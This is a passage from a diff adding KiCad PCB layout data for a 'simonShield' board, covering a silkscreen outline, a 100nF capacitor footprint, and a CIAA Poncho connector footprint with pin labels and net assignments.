+      (xy 2.90322 -0.45212) (xy 2.84734 -0.56896) (xy 2.78638 -0.71374) (xy 2.72288 -0.86106)
+      (xy 2.66954 -0.99568) (xy 2.63398 -1.09474) (xy 2.62382 -1.14046) (xy 2.62382 -1.14046)
+      (xy 2.65176 -1.18618) (xy 2.7178 -1.28524) (xy 2.80924 -1.41986) (xy 2.921 -1.58242)
+      (xy 2.92862 -1.59512) (xy 3.03784 -1.75514) (xy 3.12674 -1.88976) (xy 3.18516 -1.98628)
+      (xy 3.20548 -2.02946) (xy 3.20548 -2.032) (xy 3.16992 -2.08026) (xy 3.08864 -2.16916)
+      (xy 2.9718 -2.29108) (xy 2.8321 -2.43332) (xy 2.78638 -2.4765) (xy 2.63144 -2.6289)
+      (xy 2.52476 -2.72796) (xy 2.45618 -2.7813) (xy 2.42316 -2.794) (xy 2.42316 -2.79146)
+      (xy 2.3749 -2.76352) (xy 2.2733 -2.69748) (xy 2.13614 -2.6035) (xy 1.97358 -2.49428)
+      (xy 1.96342 -2.48666) (xy 1.8034 -2.37744) (xy 1.67132 -2.28854) (xy 1.5748 -2.22504)
+      (xy 1.53416 -2.19964) (xy 1.52654 -2.19964) (xy 1.46304 -2.21996) (xy 1.34874 -2.25806)
+      (xy 1.20904 -2.31394) (xy 1.06172 -2.37236) (xy 0.9271 -2.42824) (xy 0.8255 -2.4765)
+      (xy 0.77724 -2.5019) (xy 0.77724 -2.50444) (xy 0.75946 -2.56286) (xy 0.73152 -2.68224)
+      (xy 0.6985 -2.84734) (xy 0.6604 -3.04292) (xy 0.65532 -3.0734) (xy 0.61976 -3.2639)
+      (xy 0.58928 -3.42138) (xy 0.56642 -3.5306) (xy 0.55372 -3.57632) (xy 0.52832 -3.5814)
+      (xy 0.43434 -3.58902) (xy 0.2921 -3.59156) (xy 0.11938 -3.5941) (xy -0.06096 -3.59156)
+      (xy -0.23622 -3.58902) (xy -0.38862 -3.58394) (xy -0.4953 -3.57632) (xy -0.54102 -3.56616)
+      (xy -0.54356 -3.56362) (xy -0.5588 -3.5052) (xy -0.5842 -3.38582) (xy -0.61976 -3.22072)
+      (xy -0.65786 -3.0226) (xy -0.66294 -2.98958) (xy -0.6985 -2.79908) (xy -0.73152 -2.64414)
+      (xy -0.75438 -2.53492) (xy -0.76708 -2.49428) (xy -0.78232 -2.48412) (xy -0.86106 -2.4511)
+      (xy -0.98806 -2.39776) (xy -1.14808 -2.33426) (xy -1.51384 -2.1844) (xy -1.96088 -2.49428)
+      (xy -2.00406 -2.52222) (xy -2.16408 -2.63144) (xy -2.2987 -2.72034) (xy -2.39014 -2.77876)
+      (xy -2.42824 -2.80162) (xy -2.43078 -2.79908) (xy -2.4765 -2.76098) (xy -2.5654 -2.67716)
+      (xy -2.68732 -2.55778) (xy -2.82702 -2.41808) (xy -2.93116 -2.31394) (xy -3.05562 -2.18694)
+      (xy -3.13436 -2.10312) (xy -3.17754 -2.04724) (xy -3.19278 -2.01422) (xy -3.1877 -1.9939)
+      (xy -3.15976 -1.94818) (xy -3.09372 -1.84912) (xy -3.00228 -1.71196) (xy -2.89306 -1.55448)
+      (xy -2.80162 -1.41986) (xy -2.7051 -1.27) (xy -2.6416 -1.16332) (xy -2.61874 -1.10998)
+      (xy -2.62382 -1.08712) (xy -2.65684 -1.00076) (xy -2.71018 -0.86614) (xy -2.77622 -0.70866)
+      (xy -2.9337 -0.35306) (xy -3.16738 -0.30988) (xy -3.30708 -0.28194) (xy -3.5052 -0.24384)
+      (xy -3.69316 -0.20828) (xy -3.9878 -0.14986) (xy -3.99796 0.93218) (xy -3.95224 0.9525)
+      (xy -3.90906 0.9652) (xy -3.79984 0.98806) (xy -3.6449 1.01854) (xy -3.45948 1.0541)
+      (xy -3.30454 1.08458) (xy -3.14452 1.11252) (xy -3.03276 1.13538) (xy -2.98196 1.14554)
+      (xy -2.96926 1.16332) (xy -2.92862 1.23952) (xy -2.87274 1.36144) (xy -2.81178 1.50876)
+      (xy -2.74828 1.65862) (xy -2.6924 1.79832) (xy -2.65176 1.905) (xy -2.63906 1.96088)
+      (xy -2.65938 2.00406) (xy -2.72034 2.0955) (xy -2.8067 2.22758) (xy -2.91338 2.38506)
+      (xy -3.0226 2.54254) (xy -3.1115 2.67716) (xy -3.175 2.77368) (xy -3.2004 2.81686)
+      (xy -3.1877 2.84734) (xy -3.12674 2.92354) (xy -3.00736 3.04546) (xy -2.8321 3.22072)
+      (xy -2.80162 3.24866) (xy -2.66192 3.38328) (xy -2.54254 3.4925) (xy -2.46126 3.56616)
+      (xy -2.42316 3.59156)) (layer F.SilkS) (width 0.00254))
+  )
+
+  (module simonShield:C_Disc_D3_P2.5 (layer F.Cu) (tedit 578F6ADD) (tstamp 5957431B)
+    (at 89.255 53.508 90)
+    (descr "Capacitor 3mm Disc, Pitch 2.5mm")
+    (tags Capacitor)
+    (path /57781B52/57781D10)
+    (fp_text reference C1 (at 1.27 2.794 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value C_100nF (at 1.25 2.5 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -0.9 -1.5) (end 3.4 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 3.4 -1.5) (end 3.4 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 3.4 1.5) (end -0.9 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -0.9 1.5) (end -0.9 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -0.25 -1.25) (end 2.75 -1.25) (layer F.SilkS) (width 0.15))
+    (fp_line (start 2.75 1.25) (end -0.25 1.25) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole rect (at 0 0 90) (size 1.3 1.3) (drill 0.8) (layers *.Cu *.Mask F.SilkS)
+      (net 32 VCC))
+    (pad 2 thru_hole circle (at 2.5 0 90) (size 1.3 1.3) (drill 0.8001) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (model ${KIPRJMOD}/simonShield.3dshapes/C_Disc_D3_P2.5.wrl
+      (at (xyz 0.049213 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 0))
+    )
+  )
+
+  (module simonShield:Conn_Poncho_SinBorde (layer F.Cu) (tedit 5797F70F) (tstamp 5957426D)
+    (at 143.23 50.968)
+    (tags "CONN Poncho")
+    (path /57781B52/57781CEF)
+    (fp_text reference XA1 (at 1.27 -3.175) (layer F.SilkS)
+      (effects (font (size 0.8 0.8) (thickness 0.12)))
+    )
+    (fp_text value Conn_Poncho2P_2x_20x2 (at -1.905 51.181) (layer F.SilkS) hide
+      (effects (font (size 1.016 1.016) (thickness 0.2032)))
+    )
+    (fp_text user GPIO8 (at -65.913 48.26) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GPIO7 (at -65.913 45.847) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GPIO5 (at -65.913 43.18) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GPIO3 (at -65.913 40.767) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GPIO1 (at -65.913 38.1) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user LCD1 (at -65.913 35.56) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user LCD2 (at -65.913 33.02) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user LCD3 (at -65.024 30.48) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user LCD_RS (at -64.008 27.94) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user LCD4 (at -65.278 25.654) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user SCK (at -66.04 22.733) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user MISO (at -65.913 20.32) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user TXD1 (at -65.786 17.907) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user TXD0 (at -65.786 15.24) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user MDIO (at -65.786 12.7) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user CRS (at -65.532 10.287) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user MDC (at -66.04 7.62) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user TX_EN (at -64.77 5.207) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user RXD1 (at -65.913 2.667) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user +5V (at -65.532 0) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at -74.168 48.006) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at -74.168 45.72) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GPIO6 (at -74.295 43.18) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GPIO4 (at -74.295 40.64) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GPIO2 (at -74.295 38.1) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GPIO0 (at -74.295 35.56) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GND (at -74.168 33.02) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at -74.168 30.48) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user LCD_EN (at -74.168 27.94) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user MOSI (at -74.168 25.273) (layer F.SilkS)
+      (effects (font (size 1 0.7) (thickness 0.17)))
+    )
+    (fp_text user GND (at -74.168 22.86) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at -74.168 20.32) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user R_CLK (at -74.168 17.78) (layer F.SilkS)
+      (effects (font (size 0.9 0.7) (thickness 0.175)))
+    )
+    (fp_text user GND (at -74.168 15.24) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at -74.168 12.7) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at -74.168 7.62) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user RXD0 (at -74.041 10.16) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GND (at -74.168 5.08) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at -74.168 2.54) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user +3.3V (at -74.041 0) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GND (at 5.461 48.26) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at 5.461 45.72) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user T_F1 (at 5.461 43.18) (layer F.SilkS)
+      (effects (font (size 0.9 0.9) (thickness 0.18)))
+    )
+    (fp_text user T_C2 (at 5.461 40.64) (layer F.SilkS)
+      (effects (font (size 0.9 0.9) (thickness 0.18)))
+    )
+    (fp_text user GND (at 5.461 38.1) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at 5.334 35.56) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at 5.461 33.02) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at 5.461 30.48) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at 5.461 27.94) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at 5.461 25.4) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GND (at 5.461 22.86) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GNDA (at 5.461 20.32) (layer F.SilkS)
+      (effects (font (size 0.76 0.76) (thickness 0.19)))
+    )
+    (fp_text user GNDA (at 5.461 17.78) (layer F.SilkS)
+      (effects (font (size 0.76 0.76) (thickness 0.19)))
+    )
+    (fp_text user GNDA (at 5.461 15.24) (layer F.SilkS)
+      (effects (font (size 0.76 0.76) (thickness 0.19)))
+    )
+    (fp_text user GNDA (at 5.461 12.7) (layer F.SilkS)
+      (effects (font (size 0.76 0.76) (thickness 0.19)))
+    )
+    (fp_text user GNDA (at 5.461 10.16) (layer F.SilkS)
+      (effects (font (size 0.76 0.76) (thickness 0.19)))
+    )
+    (fp_text user GNDA (at 5.461 7.62) (layer F.SilkS)
+      (effects (font (size 0.76 0.76) (thickness 0.19)))
+    )
+    (fp_text user WAKEUP (at 5.461 5.334) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user GND (at 5.461 3.048) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user +5V (at 5.334 0) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user T_C0 (at -2.286 48.133) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user T_F2 (at -2.413 45.72) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user T_F3 (at -2.413 43.18) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user T_F0 (at -2.413 40.64) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user T_C1 (at -2.286 38.1) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user CAN_TD (at -2.921 35.687) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user CAN_RD (at -2.921 33.02) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user 232_TX (at -4.318 30.48) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user 232_RX (at -4.318 27.94) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user SCL (at -2.794 25.4) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user SDA (at -2.794 22.86) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user VDDA (at -2.794 20.32) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user DAC (at -2.794 17.78) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user CH1 (at -2.794 15.24) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user CH2 (at -3.048 12.7) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user CH3 (at -3.048 10.16) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user GNDA (at -2.54 7.62) (layer F.SilkS)
+      (effects (font (size 1 0.5) (thickness 0.125)))
+    )
+    (fp_text user ISP (at -2.794 5.08) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user RESET (at -3.81 2.54) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_text user CIAA-P2 (at -69.85 -2.032) (layer F.SilkS)
+      (effects (font (size 0.8 0.8) (thickness 0.12)))
+    )
+    (fp_text user CIAA-P1 (at 1.27 -2.032) (layer F.SilkS)
+      (effects (font (size 0.8 0.8) (thickness 0.12)))
+    )
+    (fp_text user +3.3V (at -3.81 0) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.2)))
+    )
+    (fp_line (start -72.39 0) (end -72.39 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start -72.39 -1.27) (end -67.31 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start -67.31 -1.27) (end -67.31 49.53) (layer F.SilkS) (width 0.15))
+    (fp_line (start -67.31 49.53) (end -72.39 49.53) (layer F.SilkS) (width 0.15))
+    (fp_line (start -72.39 49.53) (end -72.39 0) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.27 49.53) (end -1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 49.53) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 49.53) (end -1.27 49.53) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -1.27) (end -1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole rect (at 0 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 36 "Net-(XA1-Pad1)"))
+    (pad 2 thru_hole oval (at 2.54 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 37 "Net-(XA1-Pad2)"))
+    (pad 11 thru_hole oval (at 0 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 38 "Net-(XA1-Pad11)"))
+    (pad 4 thru_hole oval (at 2.54 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 39 "Net-(XA1-Pad4)"))
+    (pad 13 thru_hole oval (at 0 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 40 "Net-(XA1-Pad13)"))
+    (pad 6 thru_hole oval (at 2.54 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 41 "Net-(XA1-Pad6)"))
+    (pad 15 thru_hole oval (at 0 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 42 "Net-(XA1-Pad15)"))
+    (pad 8 thru_hole oval (at 2.54 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 43 "Net-(XA1-Pad8)"))
+    (pad 17 thru_hole oval (at 0 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 44 "Net-(XA1-Pad17)"))
+    (pad 10 thru_hole oval (at 2.54 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 45 "Net-(XA1-Pad10)"))
+    (pad 19 thru_hole oval (at 0 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 46 "Net-(XA1-Pad19)"))
+    (pad 12 thru_hole oval (at 2.54 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 47 "Net-(XA1-Pad12)"))
+    (pad 21 thru_hole oval (at 0 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 48 "Net-(XA1-Pad21)"))
+    (pad 14 thru_hole oval (at 2.54 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 49 "Net-(XA1-Pad14)"))
+    (pad 23 thru_hole oval (at 0 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 50 "Net-(XA1-Pad23)"))
+    (pad 16 thru_hole oval (at 2.54 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 51 "Net-(XA1-Pad16)"))
+    (pad 25 thru_hole oval (at 0 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 52 "Net-(XA1-Pad25)"))
+    (pad 18 thru_hole oval (at 2.54 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 53 "Net-(XA1-Pad18)"))
+    (pad 27 thru_hole oval (at 0 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 54 "Net-(XA1-Pad27)"))
+    (pad 20 thru_hole oval (at 2.54 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 55 "Net-(XA1-Pad20)"))
+    (pad 29 thru_hole oval (at 0 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 56 "Net-(XA1-Pad29)"))
+    (pad 22 thru_hole oval (at 2.54 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 57 "Net-(XA1-Pad22)"))
+    (pad 31 thru_hole oval (at 0 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 58 "Net-(XA1-Pad31)"))
+    (pad 24 thru_hole oval (at 2.54 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 59 "Net-(XA1-Pad24)"))
+    (pad 26 thru_hole oval (at 2.54 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 60 "Net-(XA1-Pad26)"))
+    (pad 33 thru_hole oval (at 0 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 61 "Net-(XA1-Pad33)"))
+    (pad 28 thru_hole oval (at 2.54 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 62 "Net-(XA1-Pad28)"))
+    (pad 32 thru_hole oval (at 2.54 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 63 "Net-(XA1-Pad32)"))
+    (pad 34 thru_hole oval (at 2.54 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 64 "Net-(XA1-Pad34)"))
+    (pad 36 thru_hole oval (at 2.54 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 65 "Net-(XA1-Pad36)"))
+    (pad 38 thru_hole oval (at 2.54 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 66 "Net-(XA1-Pad38)"))
+    (pad 35 thru_hole oval (at 0 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 67 "Net-(XA1-Pad35)"))
+    (pad 37 thru_hole oval (at 0 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 68 "Net-(XA1-Pad37)"))
+    (pad 3 thru_hole oval (at 0 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 69 "Net-(XA1-Pad3)"))
+    (pad 5 thru_hole oval (at 0 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 70 "Net-(XA1-Pad5)"))
+    (pad 7 thru_hole oval (at 0 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 71 "Net-(XA1-Pad7)"))
+    (pad 9 thru_hole oval (at 0 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 72 "Net-(XA1-Pad9)"))
+    (pad 39 thru_hole oval (at 0 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 73 "Net-(XA1-Pad39)"))
+    (pad 40 thru_hole oval (at 2.54 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 74 "Net-(XA1-Pad40)"))
+    (pad 30 thru_hole oval (at 2.54 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 75 "Net-(XA1-Pad30)"))
+    (pad 41 thru_hole rect (at -71.12 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 25 "Net-(P1-Pad1)"))
+    (pad 42 thru_hole oval (at -68.58 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 26 "Net-(P1-Pad3)"))
+    (pad 43 thru_hole oval (at -71.12 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 44 thru_hole oval (at -68.58 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 76 "Net-(XA1-Pad44)"))
+    (pad 45 thru_hole oval (at -71.12 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 77 "Net-(XA1-Pad45)"))
+    (pad 46 thru_hole oval (at -68.58 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 78 "Net-(XA1-Pad46)"))
+    (pad 47 thru_hole oval (at -71.12 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 79 "Net-(XA1-Pad47)"))
+    (pad 48 thru_hole oval (at -68.58 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 80 "Net-(XA1-Pad48)"))
+    (pad 49 thru_hole oval (at -71.12 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 31 /ciaaConector/PWM))
+    (pad 50 thru_hole oval (at -68.58 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 81 "Net-(XA1-Pad50)"))
+    (pad 51 thru_hole oval (at -71.12 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 82 "Net-(XA1-Pad51)"))
+    (pad 52 thru_hole oval (at -68.58 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 83 "Net-(XA1-Pad52)"))
+    (pad 53 thru_hole oval (at -71.12 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 84 "Net-(XA1-Pad53)"))
+    (pad 54 thru_hole oval (at -68.58 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 85 "Net-(XA1-Pad54)"))
+    (pad 55 thru_hole oval (at -71.12 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 86 "Net-(XA1-Pad55)"))
+    (pad 56 thru_hole oval (at -68.58 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 87 "Net-(XA1-Pad56)"))
+    (pad 57 thru_hole oval (at -71.12 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 88 "Net-(XA1-Pad57)"))
+    (pad 58 thru_hole oval (at -68.58 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 27 /ciaaConector/LED_1))
+    (pad 59 thru_hole oval (at -71.12 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 89 "Net-(XA1-Pad59)"))
+    (pad 60 thru_hole oval (at -68.58 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 13 /buttons/BTN_LED_1))
+    (pad 61 thru_hole oval (at -71.12 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 90 "Net-(XA1-Pad61)"))
+    (pad 62 thru_hole oval (at -68.58 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 14 /buttons/BTN_CFG_1))
+    (pad 63 thru_hole oval (at -71.12 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 91 "Net-(XA1-Pad63)"))
+    (pad 64 thru_hole oval (at -68.58 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 16 /buttons/BTN_CFG_2))
+    (pad 65 thru_hole oval (at -71.12 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 92 "Net-(XA1-Pad65)"))
+    (pad 66 thru_hole oval (at -68.58 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 15 /buttons/BTN_LED_2))
